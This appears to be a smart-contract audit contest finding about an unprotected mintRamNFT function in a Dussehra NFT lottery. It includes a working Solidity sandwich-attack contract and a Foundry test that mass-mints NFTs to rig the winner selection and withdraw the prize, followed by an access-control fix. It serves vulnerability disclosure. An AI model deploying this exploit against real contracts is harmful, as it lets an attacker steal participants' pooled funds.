Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`ChoosingRam::selectRamIfNotSelected` Can Be Front- And Back-Run to Abuse `RamNFT`’s Unprotected `mintRamNFT` Function to Heavily Skew Odds in the Attacker’s Favor for a Large Economic Upside

Summary

An attacker is able to front- and back-run a selectRamIfNotSelected call, allowing them to heavily skew (or guarantee) an NFT they own is picked as selectedRam for free, allowing them to collect the event's reward.

Vulnerability Details

An attacker can monitor a chain's mempool for a selectRamIfNotSelected call, then deploy a malicious contract which directly mints (for free) a very large amount of RamNFTs using the unprotected RamNFT::mintRamNFT function.

Create the following example attack contract under src/mocks/SandwichAttack.sol:

Attack Contract
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {RamNFT} from "../../src/RamNFT.sol";
import {Dussehra} from "../../src/Dussehra.sol";
contract SandwichAttack is IERC721Receiver {
uint256 private constant NUM_NFTS_TO_MINT = 1_000;
address private immutable i_owner;
RamNFT private immutable i_ramNFT;
Dussehra private immutable i_dussehra;
constructor(address ramNFT, address dussehra) {
i_owner = msg.sender;
i_ramNFT = RamNFT(ramNFT);
i_dussehra = Dussehra(dussehra);
}
modifier onlyOwner() {
if (msg.sender != i_owner) revert("Not owner");
_;
}
function frontRun() external onlyOwner {
for (uint256 i; i < NUM_NFTS_TO_MINT;) {
i_ramNFT.mintRamNFT(address(this));
unchecked { i = i + 1; }// forgefmt: disable-line
}
assert(i_ramNFT.balanceOf(address(this)) == NUM_NFTS_TO_MINT);
}
function backRun() external onlyOwner {
i_dussehra.killRavana();
uint256 expectedReward = i_dussehra.totalAmountGivenToRam();
i_dussehra.withdraw();
assert(address(this).balance == expectedReward);
}
function withdraw() external onlyOwner {
(bool succ,) = msg.sender.call{value: address(this).balance}("");
require(succ, "Transfer failed");
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}

Import the attack contract, and include the following test case in Dussehra.t.sol:

Test Case
import {SandwichAttack} from "../src/mocks/SandwichAttack.sol";
// ...
function test_sandwichAttackNFTSelection() public participants {
vm.warp(1728777600);
// at this moment, an attacker recognizes the `organiser`'s `selectRamIfNotSelected` tx,
// front-runs it and mints an excessive amount of NFTs for zero cost
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
SandwichAttack attack = new SandwichAttack(address(ramNFT), address(dussehra));
attack.frontRun();
vm.stopPrank();
// now, the `organiser`'s tx is executed
vm.prank(organiser);
choosingRam.selectRamIfNotSelected();
// assert that the attack contract has been selected
assertEq(choosingRam.selectedRam(), address(attack));
// after being selected, back-run to do the required functionality and withdraw funds atomically
vm.startPrank(attacker);
attack.backRun();
attack.withdraw();
vm.stopPrank();
// assert that the attacker has recieve their funds
assertEq(address(attacker).balance, 1 ether); // 50% of the total funds
}

Then, run the test case:

forge test --mt test_sandwichAttackNFTSelection -vvvvv

Impact

For example, say 100 wallets have entered and minted a Ram NFT and paid the associated entranceFee of 1 ether. The organiser then calls selectRamIfNotSelected when enough time has passed. Subsequently, this call is front-run and the attacker's contract is deployed and mints 100,000 NFTs for free (excluding gas). Then, selectRamIfNotSelected is executed, giving the attacker a 99.90% chance (100,000 / 100,100) of being selected. The attacker can ALSO back-run the selectRamIfNotSelected tx, in the same block, to atomically call Dussehra::killRavana and Dussehra::withdraw preventing a previously mentioned block stuffing DOS attack. The attacker has profited 50 ether (50% to the organizer, minus gas fees).

The attacker can potentially work with a malicious validator to manipulate block.timestamp in the random calculation to guarantee one of their tokenIds gets selected.

Tools Used

Manual Review

Recommendations

Add the onlyChoosingRamContract modifier to mintRamNFT to ensure only the ChoosingRam contract can mint Ram NFTs. This removes the scenario where front- and back-running are profitable.

- function mintRamNFT(address to) public {
+ function mintRamNFT(address to) public onlyChoosingRamContract {
uint256 newTokenId = tokenCounter++;
_safeMint(to, newTokenId);
Characteristics[newTokenId] = CharacteristicsOfRam({
ram: to,
isJitaKrodhah: false,
isDhyutimaan: false,
isVidvaan: false,
isAatmavan: false,
isSatyavaakyah: false
});
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRamNFT is public

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.